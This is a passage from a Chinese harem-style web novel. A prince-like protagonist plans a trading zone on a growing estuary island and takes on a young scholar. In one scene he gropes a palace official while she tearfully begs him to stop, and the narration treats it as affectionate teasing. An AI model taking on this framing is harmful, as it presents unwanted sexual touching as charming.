他看向张俪,眼中满是信任和赞赏:“俪儿所言甚是!与商贾周旋,非你莫属,沪县之行,算你一个!” 他随即看向浣碧:“碧儿,你心思细腻,负责安排随行家眷、仆役、以及一应生活起居事宜。务必周全。” “是,夫君。”浣碧温顺应道。 “雯儿,”林臻又看向晴雯,“你带着承煜,就当是出去散散心,看看不一样的风景。记住,不许叫苦!” “知道啦!”晴雯虽然还有点小别扭,但听到能带着儿子跟夫君一起出门,心情又好了起来,脆生生地应道。 “灵儿,”林臻最后看向楚惜灵,“你负责整理所有关于崇明岛及周边海域、航道的资料,尤其是前朝遗留的记载和图册,务必详尽。此乃我们立足沪县的根本之一。” “妾身领命。”楚惜灵微微颔首,眼神沉静而自信。 安排妥当,林臻正欲再叮嘱几句,厅外忽然传来一阵急促而轻微的脚步声。 王府大管家林安的身影出现在门口。 他步履沉稳,但脸上带着一丝不易察觉的凝重。 他快步走到林臻身侧,躬身行礼,声音压得极低,却清晰传入林臻耳中:“启禀世子,宫里来人,陛下急召!请世子即刻入宫觐见!” 林臻闻言,脸上并无意外之色,反而露出一抹果然如此的了然笑意。 他早就料到,孙文谦那份渲染着息壤神迹的奏折送到慕容嫣案头,这位好奇心旺盛又心思敏锐的女帝,必然会坐不住。 “知道了。”林臻淡淡应了一声,随即对众女道,“好了,事情就这么定了。婉儿留守王府,主持大局。俪儿、碧儿、灵儿、雯儿随我南下沪县。其余人等,安心在京。各自准备吧。” 说完,他不再停留,对婉儿点了点头,又扫了一眼侍立在她身后、如同影子般忠诚的幽梦,随即转身,大步流星地朝着厅外走去。 林安连忙侧身让开道路,紧随其后。 第630章 都是世子的功劳 夜色深沉,万籁俱寂。一轮清冷的弦月高悬天际,将如水银般的光辉洒落在巍峨森严的皇宫禁苑。 重重叠叠的殿宇楼阁在月光下投下巨大而沉默的阴影,琉璃瓦顶反射着幽冷的微光。宫道两侧的石兽蹲踞在阴影里,如同蛰伏的巨兽,沉默地注视着深夜的闯入者。 林臻步履从容地行走在空旷的宫道上。 他身后跟着两队太监宫女,各四人。 太监们穿着深蓝色的宫服,宫女们则是粉白色宫装。 他们各自手持一盏精巧的八角琉璃宫灯,灯内烛火跳跃,在青石路面上投下摇曳昏黄的光晕。 所有人都低着头,脚步放得极轻,如同踩在棉花上,不敢发出半点多余的声响,更不敢抬头去看前方那道挺拔如松、散发着无形威压的身影。 整个队伍沉默得如同幽灵,只有衣袂摩擦的细微窸窣声和宫灯木柄轻微的吱呀声,在寂静的宫墙间回荡,更添几分深夜的肃杀与孤寂。 引路的,是一个年纪很轻、身形瘦小的小太监。 他走在林臻斜前方半步的位置,同样低着头,步履匆匆,显得有些紧张。 林臻的目光落在这个小太监的背影上。 那身量,那走路的姿态,都让他感到一丝熟悉。 他忽然开口,声音在寂静的夜里显得格外清晰:“前面带路的小公公,叫什么名字?” 那小太监浑身一激灵,连忙停下脚步,转过身来,依旧深深地低着头,双手垂在身侧,声音带着一丝不易察觉的颤抖,却又努力保持着恭敬:“回世子殿下的话,小的叫慕容无言。” “慕容无言?”林臻微微挑眉,这个名字……有点意思。 他继续前行,慕容无言连忙侧身让开半步,依旧保持着低头引路的姿态,不敢并行。 “谁给你起的这个名字?”林臻随口问道,目光扫过两旁在月光下显得格外幽深的宫殿轮廓。 慕容无言一边快步走着,一边小心翼翼地回答,声音压得很低:“回世子,是师父给起的。师父说奴才在宫里当差,要少说话,多做事,管住嘴,才能活得长久。” 他顿了顿,补充道,“陛下也知道了奴才的名字,说挺好听的。” 林臻闻言,嘴角勾起一抹若有似无的笑意。 无舌那老东西,虽然退了,但这份在深宫大内摸爬滚打几十年、浸入骨髓的生存智慧,倒是没忘提点徒弟。 “无言” 呵,确实是个好名字。 在这吃人不吐骨头的皇宫里,沉默是金。 他心中了然。 无舌告老,慕容嫣身边最信任的贴身大太监位置空了出来。 虽然提拔了无舌的徒弟慕容无言,但显然,女帝不可能像信任无舌那样信任一个初出茅庐的小太监。 那么现在,真正执掌内宫权柄、统领掖庭局的,恐怕就是麝月了。 想到麝月,林臻心中微动。 这样也好,麝月终究是自己人,由她掌控内宫,无论是嫣儿还是自己,都能省心不少。 一行人穿过重重宫门,绕过几处回廊,最终在一座灯火通明、气势恢宏的宫殿前停下。 殿前侍卫林立,甲胄鲜明,在宫灯映照下如同雕塑般肃立,眼神锐利,警惕地扫视着四周。 这里正是慕容嫣的寝宫——紫宸殿。 慕容无言在殿门前停下,侧身让开,对着林臻深深一躬:“世子殿下,陛下就在殿内,您请。” 林臻微微颔首,没有丝毫犹豫,迈步踏上汉白玉台阶,径直推开了那扇沉重的、雕刻着龙凤呈祥图案的朱漆殿门。 殿内温暖如春,与外界的清冷形成鲜明对比。 巨大的蟠龙金柱支撑着高阔的穹顶,地面铺着厚厚的波斯绒毯,行走其上悄无声息。 殿内各处都点着明亮的宫灯和烛台,将整个前厅照耀得亮如白昼,空气中弥漫着清雅名贵的龙涎香气。 林臻刚踏入殿内,身后的殿门便被慕容无言从外面轻轻合拢,隔绝了外面的世界。 他的目光瞬间被殿中央站立的一道身影吸引。 正是麝月。 她并未穿着平日那身素雅的宫女服饰,而是换上了一身剪裁合体、质地精良的深蓝色长衫! 这分明是男子的款式,衣料是上等的云锦,领口、袖口滚着银线绣制的回纹,腰间束着一条同色镶玉腰带,勾勒出纤细却不失干练的腰身。 乌黑的长发用一根简单的白玉簪在脑后挽成一个利落的发髻,露出光洁饱满的额头和修长的脖颈。 这身打扮,让她原本柔美温婉的气质中,陡然增添了几分英气与沉稳,如同一位清俊的少年郎,却又难掩那份属于女子的柔媚。 林臻眼中闪过一丝惊艳和好奇。 他大步走上前,自然而然地牵起麝月那双依旧柔若无骨的小手,入手微凉。 他轻轻摩挲着,目光在她身上逡巡,带着毫不掩饰的欣赏和探究:“月儿,今日这身打扮倒是挺别致啊。怎么穿成这个样子了?” 他语气亲昵,带着一丝调侃。 麝月并未挣脱他的手,只是微微屈膝,行了一个标准的福礼,动作间带着一丝新晋掌权者的矜持,却又难掩面对林臻时的温顺:“奴婢见过世子。回世子的话,是陛下让奴婢出任六尚之职。陛下说奴婢身份不同了,当有别于寻常宫女,故而赐了这身官服。” “六尚?”林臻微微挑眉。 他自然知道“六尚”意味着什么——那是大乾宫廷女官的最高体系,统领尚宫、尚仪、尚服、尚食、尚寝、尚功六局,掌管整个后宫所有宫女事务,权力极大,地位仅次于皇后和贵妃! 慕容嫣在这么短的时间内将麝月提拔到这个位置,固然有麝月自身能力出众、伺候得力的原因,但更深层的原因,恐怕还是因为麝月是他林臻的女人! 这既是对麝月的信任和重用,也是对他林臻的一种示好和捆绑。 “原来如此。”林臻了然一笑,手指轻轻捏了捏麝月的手心,目光灼灼地看着她,“不过我倒觉得这身衣服很配你。褪去了几分柔弱,多了几分英气,更显的与众不同了。” 他意有所指。 麝月被他看得脸颊微红,如同染上了胭脂,羞涩地低下头,声音细若蚊蚋:“世子谬赞了,奴婢哪有什么气质,都是世子调教得好。” 说到最后几个字,声音几乎低不可闻。 “哈哈哈!”林臻闻言,忍不住放声大笑,笑声在空旷的大殿内回荡,充满了得意,“说得好!没错!看来本世子调教女人的手段确实高明!月儿你如今这气度,这风姿,当得起这六尚之位!” 话音未落,林臻突然手臂用力,一把搂住麝月纤细却有力的腰肢,在她猝不及防的惊呼声中,将她整个人拦腰抱了起来! “啊——!”麝月吓得花容失色,下意识地反手紧紧搂住了林臻的脖子,心脏怦怦直跳。 林臻抱着她,几步走到殿内一侧摆放着茶点果品的紫檀木圆桌旁,将她轻轻放在了光滑冰凉的桌面上。 第631章 动这么大的肝火 麝月刚想挣扎着下来,林臻的大手却已经极其自然地顺着她穿着深蓝长裤的修长腿线,缓缓向上游移,带着灼热的温度,隔着布料感受着那紧致而富有弹性的肌肤。 “世子!不要!”麝月瞬间慌了神,身体绷紧,声音带着哭腔和极度的慌乱,她一边试图按住林臻作怪的手,一边连连哀求, “求求您放过奴婢吧!陛下真的有急事在里面等着您呢,耽搁不得!奴婢求您了!求您了!” 看着麝月吓得脸色发白、泫然欲泣的模样,林臻眼中闪过一丝促狭的笑意。 他本就没想真做什么,只是想逗逗这个刚刚升职、还带着几分羞涩的小妮子。 见她反应如此激烈,林臻便顺势收回了手,松开了对她的钳制。 “好了好了,瞧把你吓的。”林臻笑着拍了拍她的脸颊,“逗你玩的。起来吧。” 麝月如蒙大赦,慌忙从桌子上滑下来,整理了一下被弄皱的衣襟和发髻,小脸依旧红扑扑的,心有余悸地看了林臻一眼,眼神里满是嗔怪和后怕。 林臻不再逗她,转身,由惊魂未定的麝月引着,穿过一道垂挂着珍珠帘幕的月洞门,进入了寝殿的后堂。 后堂比前厅更加温暖私密,光线也柔和许多。 巨大的凤床被明黄色的纱幔半遮半掩。 慕容嫣并未在床榻上,而是穿着一身素白色的丝绸亵衣,披散着一头如瀑的青丝,正背对着门口,坐在一张镶嵌着巨大西洋水银镜的紫檀木梳妆台前。 一个看起来只有十三四岁、穿着浅粉色宫女服、梳着双丫髻的小宫女,正小心翼翼地站在慕容嫣身后,手里拿着一把玉梳,动作有些笨拙地替女帝梳理着长发。 林臻刚踏入后堂,慕容嫣那清冷中带着一丝慵懒和不悦的声音便从梳妆镜的方向传来,她并未回头: “来了?来了也不知道赶紧进来看看朕,反而在前头调戏起朕的六尚来了?林世子,你这谱儿摆得比朕还大啊?这是什么道理?” 林臻的目光却先落在了那个小宫女身上。 小宫女听到慕容嫣的话,吓得手一抖,梳子差点掉下来,慌忙转过身,对着林臻扑通一声跪倒在地,声音带着稚嫩的颤抖:“奴婢参见世子殿下!” “起来吧。”林臻随意地摆摆手。 “谢世子殿下!”小宫女如释重负,连忙爬起来,垂手侍立一旁,小脸煞白。 慕容嫣依旧没有回头,对着镜子里的倒影(能看到林臻)继续说道:“现在麝月不一样了,要管着六尚和内侍监(太监机构),每天忙得脚不沾地,也就晚上能回来陪陪朕,早起伺候朕梳洗。朕身边总得有个贴身使唤的人吧?这不,刚挑了个还算伶俐的……” 她话还没说完,那小宫女大约是太紧张了,拿着梳子的手一抖,梳齿不小心勾住了慕容嫣的一缕发丝,轻轻一扯! “哎呦!”慕容嫣吃痛,猛地吸了一口冷气,随即勃然大怒! 她霍然转身,柳眉倒竖,凤眸含煞,指着那小宫女厉声呵斥:“你这没长眼睛的蠢东西!笨手笨脚的!想疼死朕吗?!还是想趁机谋害朕啊?!” 那小宫女吓得魂飞魄散,“噗通”一声再次重重跪倒在地,额头死死抵着冰凉的地砖,浑身抖如筛糠,声音带着绝望的哭腔:“陛……陛下饶命!奴婢该死!奴婢该死!求陛下饶命啊!奴婢不是故意的!真的不是故意的!陛下饶命啊!” 慕容嫣余怒未消,胸口起伏,显然被这突如其来的疼痛和笨拙惹得心烦意乱。 “好了好了,”林臻走上前,语气平和地打圆场,“小姑娘家,刚来伺候,紧张在所难免。起来吧,下次注意点就是了。” 他对着那小宫女抬了抬手。 小宫女如同抓住了救命稻草,泪眼婆娑地抬起头,对着林臻连连磕头:“谢世子!谢世子!谢陛下不杀之恩!奴婢再也不敢了!再也不敢了!” 她哆哆嗦嗦地爬起来,退到角落,再也不敢上前。 林臻走到梳妆台前,拿起那把掉落在妆台上的玉梳。 他站在慕容嫣身后,看着镜子里那张因薄怒而更显明艳逼人、却也带着一丝疲惫的绝美容颜。 他动作自然地伸出手,轻轻拢起慕容嫣散落肩头的乌黑长发,用玉梳一下下,极其轻柔地梳理着,仿佛在安抚一只炸毛的猫咪。 “最近怎么了?脾气这么不好?”林臻的声音低沉而温和,带着一丝不易察觉的关切,“一点小事就动肝火?” 慕容嫣从镜子里看着林臻专注而温柔的侧脸,感受着发丝被轻柔梳理的舒适感,胸中的怒火不知不觉消散了大半。 但她嘴上却不肯服软,对着镜子里的林臻翻了个大大的白眼,娇哼一声:“哼!就你会怜香惜玉!朕是天子!天子一怒,伏尸百万!想杀谁就杀谁!一个小宫女而已,笨手笨脚,杀了就杀了,有什么大不了的!” “哦?”林臻放下玉梳,双手忽然从后面环住了慕容嫣纤细柔软的腰肢,下巴轻轻搁在她散发着馨香的肩窝里,温热的气息喷吐在她敏感的耳廓上,声音带着一丝危险的暧昧,“那你要不要杀我啊?嗯?” 慕容嫣被他这突如其来的亲昵动作弄得身体微微一僵,随即一股酥麻感从耳根蔓延开来。她下意识地运起内力,身体微微一震! 一股柔和却沛然莫御的力量瞬间从她体内涌出,如同水波般荡漾开来! 林臻只觉得环抱的双臂像是被无形的气墙轻轻推开,不由自主地松开了手,后退了半步。他眼中闪过一丝惊讶,随即化为赞赏的笑意:“哟呵?内力见长啊!看来我家嫣儿练得不错嘛!现在想杀我,确实易如反掌了?” 慕容嫣从镜子里看着林臻略带惊讶的表情,得意地扬起了精致的下巴,如同骄傲的凤凰,从鼻子里发出一声轻哼:“哼!那是自然!朕现在要杀你,就跟捏死一只蚂蚁一样简单!” 她故意摆出一副睥睨天下的姿态,眼神里却带着一丝小女人的得意和炫耀。 林臻看着她这副可爱的模样,忍不住失笑摇头:“是是是,陛下神功盖世,天下无敌!不过……”他话锋一转,带着戏谑,“我要是死了,你的江山可就没人替你守着了哦?” “少跟朕扯这些没用的!”慕容嫣被他戳中心事,俏脸微红,恼羞成怒地打断他,随即正色道,目光重新变得锐利起来,直直地盯着镜子里的林臻。 “朕问你!扬州那边上报发现了一块息壤,这事儿你怎么看?” 第632章 河口冲积岛 紫宸殿后堂,暖香浮动,烛影摇红。 林臻看着镜中慕容嫣那双充满疑惑和探究的凤眸,嘴角勾起一抹了然的笑意。 他并未直接回答,而是慢悠悠地踱步到那张巨大的西洋水银镜梳妆台前。 他侧过身,背靠着光滑冰凉的紫檀木台面,半个臀部随意地倚坐在台沿上,姿态慵懒而带着几分不羁。 他双臂环抱在胸前,好整以暇地看着坐在绣墩上的慕容嫣,眼神带着洞悉一切的戏谑。 “息壤?”林臻轻笑一声,摇了摇头,语气带着一丝毫不掩饰的嘲弄,“我的傻嫣儿,这世上哪有什么真正的息壤?那不过是地方官员为了表功,或者某些别有用心之人为了制造噱头,编出来糊弄老百姓、哄骗无知之人的鬼话罢了!” 慕容嫣闻言,柳眉微蹙,显然对这个答案并不完全信服。 她转过身,正对着林臻,语气带着质疑:“可是孙文谦的奏折里写得清清楚楚!那座岛就是叫崇明岛对吧?它确实在变大!从南楚时的十几丈,到如今的五十多丈!这是孙文谦亲自派人丈量过的!若非神物息壤,如何解释这沙洲竟能自行生长?!” “自行生长?”林臻嗤笑一声,从梳妆台上直起身,走到慕容嫣面前,居高临下地看着她,眼神带着一种科普老师面对好奇学生的耐心(和一点点优越感)。 “傻丫头,这根本不是什么神迹!这是再自然不过的地质现象!它叫——河口冲积岛!” 他顿了顿,似乎在组织语言,用她能理解的方式解释:“你想啊,长江,这条贯穿我大乾腹地、奔腾万里入海的大河,它裹挟着多少泥沙?上游的山石被水流冲刷、侵蚀、破碎,变成细小的沙砾泥土,被滔滔江水裹挟着,一路向东,奔流入海!” 林臻伸出手指,在空中虚划着长江的走向,语气变得生动起来:“当江水冲到入海口,遇到浩瀚无垠的大海时,会发生什么?江水的速度骤然减慢!它携带泥沙的力量就大大减弱了!就像你端着一盆混了沙子的水,突然停下脚步,水里的沙子是不是就沉底了?” 慕容嫣下意识地点点头,似乎有点明白了。 “没错!”林臻一拍手,“那些被长江从上游千里迢迢带下来的泥沙,到了入海口,水流一缓,它们就沉不下去了!一层一层地堆积在江海交汇的地方!年复一年,日积月累!上面的泥沙越堆越高,最终就露出了水面!形成了岛屿!这就是崇明岛的由来!” 他进一步解释道:“而且,这堆积的过程不会停止!只要长江还在流淌,还在冲刷着上游的土地,它就会源源不断地把泥沙带到入海口!所以,这座岛就会一直长下去!今天可能是五十丈,明年可能就是六十丈!后年可能更大!这根本不是什么神龟驮负,更不是息壤滋生,纯粹就是泥沙淤积的自然结果!懂了吗?” 慕容嫣听着林臻条理清晰、深入浅出的解释,眼中的疑惑和震惊渐渐褪去,取而代之的是一种恍然大悟的明亮! 她微微张着小嘴,愣了片刻,随即长长地“哦——”了一声,脸上露出一种“原来如此”的释然,甚至带着点被自己之前的迷信想法逗笑的羞赧。 “原来是这样啊。”她喃喃道,随即有些懊恼地撇了撇嘴,像个小女孩般嘟囔道,“唉,朕还以为真的发现了什么上古神物呢,白高兴一场!害得朕还想着要不要亲自去看看……” “白高兴?”林臻看着她那副又失望又可爱的模样,忍不住哈哈大笑起来,他重新坐回梳妆台沿,身体微微前倾,凑近慕容嫣,眼中闪烁着狐狸般狡黠而精明的光芒。 “谁说白高兴了?这息壤的消息是我故意放出去的!” “啊?”慕容嫣再次愣住,凤眸中充满了不解,“你故意放出去的?为什么?” “为什么?”林臻嘴角勾起一抹势在必得的弧度,声音带着掌控全局的自信,“因为商人,那些逐利而生的商贾,鼻子比狗还灵。胆子比天还大!只要闻到一丝暴利的味道,就会像见了血的鲨鱼一样,蜂拥而至!” 他眼中精光四射:“息壤是什么?在世人眼中,那是神物!是祥瑞!是能带来无穷财富和福泽的象征。想想看,如果天下商人知道在长江入海口,有一块被息壤滋养、正在不断生长的神奇土地,他们会怎么想?怎么做?” 林臻自问自答,语气充满煽动性:“他们会疯狂,会不惜一切代价想要在那块神土上占有一席之地!买地,盖房,开商铺,建码头,他们会像疯了一样,挥舞着银两,争相恐后地把他们的金山银山砸向沪县,砸向崇明岛!” 他猛地站起身,走到窗前,推开一丝缝隙,望着外面沉沉的夜色,仿佛看到了未来那片土地上即将掀起的财富狂潮: “既然如此,本世子何不顺水推舟呢?本世子就在沪县,就在这息壤之地再建一个经济特区!制定规则,划分区域,公开拍卖土地!让那些被神迹冲昏头脑的商人们,心甘情愿地、争先恐后地把他们的银子送到本世子手里!然后,本世子再用这些钱,去修路、建港、筑城!真正地开发沪县!把这片神土,变成真正的聚宝盆!摇钱树!” 慕容嫣听得心潮澎湃! 她虽然不太懂具体的经济运作,但林臻描绘的这幅空手套白狼、借鸡生蛋的宏伟蓝图,让她瞬间明白了其中的巨大利益和深远意义! 她眼中闪烁着兴奋的光芒:“原来如此!夫君此计妙啊!简直是神来之笔!利用神迹之名,行开发之实!将天下商贾玩弄于股掌之间,为我所用!” 但兴奋过后,她秀眉微蹙,提出了一个关键问题:“可是夫君啊,沪县真的合适吗?朕听闻那里湿气重,蚊虫多,并非宜居之地。辽东那边,地广人稀,资源丰富,为何不在辽东开辟特区?” 林臻转过身,目光灼灼地看着慕容嫣,语气斩钉截铁:“不!沪县的地理位置得天独厚,放眼整个大乾,甚至整个天下,都找不到第二个如此完美的地方!” 他走回慕容嫣面前,再次伸出手指,在空中虚点:“你看!沪县位于长江入海口!背靠最富庶的江南腹地,丝绸、茶叶、瓷器、粮食,物产之丰饶,冠绝天下。而长江,就是一条流淌的黄金水道,它将江南的财富,源源不断地输送到沪县!” 他手指指向东方:“而沪县面朝东海,拥有天然的深水良港雏形,稍加疏浚、建设,便能停泊巨大的海船。向东,可通高丽、东瀛;向南,可达闽粤、南洋;向西,更可远航西洋诸国!这是连接内陆与海洋的绝佳跳板!是未来掌控海上贸易、沟通世界的咽喉要道!” 林臻的声音充满了激情和远见:“辽东虽好,但偏居一隅,气候苦寒,远离帝国经济核心,交通不便。而沪县,它将是撬动整个大乾经济的支点,是汇聚天下财富的漩涡!在这里建立特区,吸引八方商贾,发展海运贸易,带动江南乃至全国百业兴盛。让大乾的货物行销四海,让海外的珍宝流入大乾!让国库充盈!让百姓富裕!” “百姓富足了,生活安定了,自然会对朝廷感恩戴德,对大乾更有归属感!这才是真正的国富民强,长治久安之道!沪县特区,就是这盘大棋的关键一步!非它不可!” 慕容嫣被林臻这番充满激情和远见的论述彻底震撼了! 她仿佛看到了一个由沪县特区点燃、最终燎原整个大乾的盛世画卷! 她眼中充满了对林臻的钦佩和信任,用力地点点头:“夫君深谋远虑,臣妾明白了!沪县特区,势在必行!” 她随即关切地问道:“那夫君打算亲自去主持大局吗?何时动身?” “嗯,”林臻点点头,神色恢复沉稳,“此事关系重大,非我亲临不可。前期布局、规则制定、各方协调,都需要我亲自坐镇。这几天就要准备出发了。” 慕容嫣闻言,眼中闪过一丝不舍,但很快被理解和支持取代。 她忽然想起什么,说道:“对了,夫君,朕给你派去一个状元郎,叫萧寒舟的。这小子有点意思,放着唾手可得的翰林清贵之位不要,非要跟着你学习杂学。朕拗不过他,就让他去王府报到了。这次去沪县,不如把他带上?让他跟着你历练历练,或许是个可造之材?” “萧寒舟?”林臻微微挑眉,对这个名字有些陌生,但听到状元郎、不要翰林、跟着学习杂学这几个关键词,眼中闪过一丝兴味。 这倒是个意外收获。 他并未多问,只是点点头:“既然是陛下推荐的人才,想必有过人之处。带上也好。” 夫妻俩又说了些体己话,夜深人静,便相拥而眠。 翌日清晨,林臻在宫人伺候下用了早膳,便乘坐马车离开了皇宫。 马车驶出巍峨的宫门,穿过繁华喧嚣的御街,朝着镇北王府的方向行去。 清晨的阳光透过车窗洒入,带着一丝暖意。 林臻靠在柔软的锦垫上,闭目养神,脑海中还在盘算着沪县特区的诸多细节。 “吁——!” 马车在王府门前宽阔的青石广场上缓缓停下。 车夫勒住缰绳,马蹄踏在石板上发出清脆的回响。 林臻掀开车帘,正准备下车,目光却被王府大门前一道伫立的身影吸引。 那是一个年轻的青衣书生。 他穿着一身洗得有些发白的青色棉布直裰,浆洗得干干净净,却难掩料子的普通。 身上没有多余的佩饰,只有背后一个同样朴素的青布书箱。 他身形挺拔如青松,静静地站在那里,背对着王府大门,面朝着街道的方向,似乎在等待着什么。 最引人注目的是他的侧脸。 阳光勾勒出他清晰而略显冷硬的轮廓,鼻梁高挺,嘴唇紧抿成一条坚毅的直线。 他的眼神,平静地注视着前方,没有初入权贵之地的局促不安,也没有读书人常见的清高孤傲,反而透着一股如同磐石般的沉稳和一种近乎固执的执着。 那是一种经历过风霜打磨、却依旧不改其志的刚毅气质,与他身上那身朴素的青衣形成了奇特的对比。 林臻的马车停下,似乎惊动了他。 他缓缓转过头,目光精准地落在了刚刚掀开车帘、探出身来的林臻身上。 四目相对。 那书生眼中闪过一丝极淡的波动,随即恢复平静。 他没有任何迟疑,迈开步子,朝着马车走来。 步伐沉稳,不疾不徐。 林臻也顺势下了马车,站在车辕旁。 青衣书生走到林臻面前三步远的地方停下,双手抱拳,对着林臻深深一揖,动作标准而恭敬,声音清朗有力,带着一种不卑不亢的坦然: “学生萧寒舟,拜见世子殿下!” 林臻的目光在他身上打量了一圈,从朴素的衣着到沉稳的气质,再到那双清澈而坚定的眼眸。他心中了然,这应该就是慕容嫣提到的那个“有意思”的状元郎了。 “嗯,”林臻微微颔首,脸上露出一丝温和的笑意,“你就是……今科状元,萧寒舟?” 萧寒舟直起身,目光坦然地看着林臻,没有丝毫躲闪,声音依旧平静:“学生不才,蒙陛下错爱,侥幸得中。状元二字,实不敢当。” “呵呵,”林臻轻笑一声,对他这份谦逊中带着傲骨的态度颇为欣赏,“你的情况,陛下已经和我说过了。不必过谦。” 他抬手指了指王府大门,“先进来吧。” “是,谢殿下。” 萧寒舟再次躬身行礼,随即侧身让开道路,落后林臻半步,跟着这位权倾朝野的世子殿下,第一次踏入了这座象征着帝国权力巅峰之一的镇北王府。 第633章 收徒 王府内,初夏的阳光已带上了几分灼热。 两人沿着蜿蜒的石子小径前行。 路旁,生命力顽强的野草从石缝间倔强地探出头,在微风中轻轻摇曳。 几个小厮和丫鬟正蹲在路边,一边拔着这些不合规矩的杂草,一边低声说笑着,谈论着府里哪个管事娘子又添了孙子,或是厨房新来的帮工闹了什么笑话,气氛轻松。 他们的说笑声在林臻和萧寒舟走近时戛然而止。 众人慌忙起身,垂手肃立,齐声恭敬道:“世子殿下安好!” 林臻脚步未停,目光却落在其中一个正慌忙将手中一把杂草藏到身后的小丫鬟身上。 他走到她面前停下,饶有兴致地看着她脚下刚被拔起、还带着新鲜泥土的几株小草,问道:“这草长得如此不易,能从石缝里钻出来,也是本事。为何非要拔掉呢?” 小丫鬟被世子突然问话,吓得小脸一白,连忙福身,声音带着紧张:“回世子的话,是林安大管家吩咐的,说这路边的杂草有碍观瞻,让奴婢们清理干净。” 林臻闻言,微微蹙眉,随即又舒展开,语气平和却带着不容置疑的吩咐:“去告诉林安,不必如此费事。让他多雇几个手艺好的花匠来。把这些杂草修剪得整齐些,留作点缀,倒也别有一番野趣。总比光秃秃的石子路好看。整日拔来拔去,费时费力,还伤了地气。” “是……是!奴婢知道了!奴婢这就去禀告林管家!”小丫鬟如蒙大赦,连忙应声,和其他人一起躬身退到路旁。 林臻这才继续前行。 萧寒舟默默跟在身后,将这一幕尽收眼底。 他心中微感诧异:堂堂世子,权倾朝野,日理万机,竟连府中路边拔草这等微末小事也要亲自过问,甚至指点一番? 这与他想象中杀伐决断、运筹帷幄的权臣形象,似乎有些出入。 但他深知自己初来乍到,身份低微,纵有疑惑,也绝不敢多问半句,只是将这份不解压在心底,亦步亦趋地跟着。 穿过几重院落,来到一处清幽雅致的书房。 书房门开着,一股淡淡的墨香和茶香混合着飘散出来。 林臻刚走到门口,一道温婉的身影便迎了出来,正是浣碧。 她显然早已算准了林臻回来的时辰,手中托着一个红木托盘,上面放着一盏刚刚沏好的香茗,茶汤碧绿,热气袅袅。 “夫君回来了。”浣碧脸上带着柔和的浅笑,声音如同春风拂柳。 然而,当她看到林臻身后还跟着一个陌生的青衣书生时,眼中闪过一丝不易察觉的讶异,但很快便恢复了温婉从容。 “嗯。”林臻应了一声,走进书房,很自然地接过浣碧递上的茶盏,入手温热适中。 他指了指身后的萧寒舟,对浣碧介绍道:“碧儿,这位是新科状元,萧寒舟萧公子。陛下派他来王府,跟着我学习些实务。” 浣碧闻言,立刻对着萧寒舟微微屈膝,行了一个标准的福礼,仪态端庄大方:“妾身浣碧,见过萧公子。” 她虽为妾室,但在这王府内宅,地位仅次于婉儿,气度自是不凡。 萧寒舟不敢怠慢,连忙躬身回礼,态度恭敬至极:“学生萧寒舟,见过浣碧夫人!夫人之名,学生久仰,今日得见,实乃三生有幸!” 他这话并非客套。 浣碧之名,在京城官宦圈子里几乎无人不知! 她是林臻身边最早、也是最得宠的侍妾之一,温婉贤淑,掌管王府内务,更难得的是她出身卑微,曾为丫鬟,却深得林臻信任,地位稳固。 在萧寒舟这等寒门学子眼中,浣碧的经历本身就带着一丝传奇色彩,令他不敢有丝毫轻视。 林臻走到书案后的紫檀木圈椅坐下,浅浅啜了一口香茗,目光落在依旧恭敬站在书案前的萧寒舟身上。 书房内光线明亮,更清晰地映照出这位年轻状元清俊而带着风霜之色的脸庞。 “寒舟啊,”林臻放下茶盏,声音平和,带着一丝长辈对晚辈的考校意味,“你今年多大了?” 萧寒舟微微垂首,恭敬答道:“回世子殿下,学生今年刚行及冠之礼。” “哦?二十岁?”林臻眼中闪过一丝赞许,“弱冠之年,便能力压群雄,蟾宫折桂,夺得这第一甲第一等的状元头衔,当真是年少有为,才华横溢!” 他顿了顿,话锋却是一转,“不过这状元之名,说到底,考的还是书本上的学问,是经史子集,是诗词歌赋。这些东西,固然重要,是立身之本。但仅凭这些,真能治国安邦吗?” 他身体微微前倾,目光变得锐利起来,仿佛要看透萧寒舟的内心:“所以,我很想知道,你放着唾手可得的翰林清贵之位不要,甘愿放弃那锦绣前程,跑到我这王府来,说要学习,你究竟想学什么?或者说你究竟想做什么?你的志向又是什么?” 林臻的语气并不严厉,却带着一种无形的压力。 他需要知道这个年轻人的真实想法,需要探明他的底细和志向。 沪县之行,事关重大,他身边绝不能留下心志不坚、目的不明之人。 萧寒舟感受到林臻目光中的审视,他并未躲闪,反而抬起头,迎上林臻的目光。 那双清澈的眼眸中,此刻燃烧着一种近乎虔诚的火焰,那是对知识的渴望,更是对理想的执着! “世子殿下明鉴!”萧寒舟的声音带着一丝不易察觉的激动,却依旧保持着沉稳,“学生出身寒微,深知民间疾苦。十年寒窗,悬梁刺股,侥幸得中状元,于学生个人而言,已是光宗耀祖,此生无憾!” 他话锋一转,语气变得沉重而坚定:“然则!学生更知书本上的学问是死的!诗词歌赋,能抒怀咏志,却填不饱饥民的肚子;经史子集,能明理知义,却治不了泛滥的江河,救不了染疫的百姓,更挡不住北燕南蛮的刀兵!” 他的声音渐渐高昂,带着一种发自肺腑的痛切和渴望:“学生亲眼见过!见过水患过后千里泽国,饿殍遍野。见过瘟疫横行,十室九空,良医束手。见过豪强兼并,百姓流离失所,状告无门。更见过边关烽火,将士浴血,却因粮草不济、武备废弛而饮恨沙场!” 他深吸一口气,目光灼灼地看着林臻,如同信徒仰望神明: “学生不愿!不愿只做一个在翰林院里皓首穷经、吟风弄月的清贵词臣。学生所求,是真正的经世致用之学,是能兴修水利、治理河患的实学。是能改良农桑、增产粮食的技艺。是能强兵富国、抵御外侮的韬略。是能明察秋毫、秉公执法的刑名之术。是能通晓商贾、繁荣市井的经济之道!” 他双手抱拳,对着林臻深深一揖,声音带着恳求和无比的坚定: “学生听闻,世子殿下学究天人,不拘一格!皇家书院所授,包罗万象,皆为利国利民之实学,学生心向往之!恳请殿下收留,允学生在殿下身边,潜心学习,不求闻达,但求他日学有所成,能以一技之长,报效朝廷,福泽黎民!此乃学生肺腑之言,天地可鉴!请殿下成全!” 一番话,掷地有声! 没有华丽的辞藻,没有虚伪的客套,只有赤诚的理想和务实的追求! 将寒门学子的困境、对现状的不满、对未来的渴望,以及对林臻所代表的新学之路的向往,表达得淋漓尽致! 书房内一片寂静。 浣碧站在一旁,看着这个年轻书生眼中燃烧的火焰和那份赤子之心,眼中也流露出一丝动容。 林臻静静地听着,脸上没有任何表情。 直到萧寒舟说完,保持着躬身行礼的姿势,他才缓缓站起身。 他走到萧寒舟面前,目光深邃地凝视着这个比他年轻许多、却有着远超同龄人清醒和抱负的状元郎。 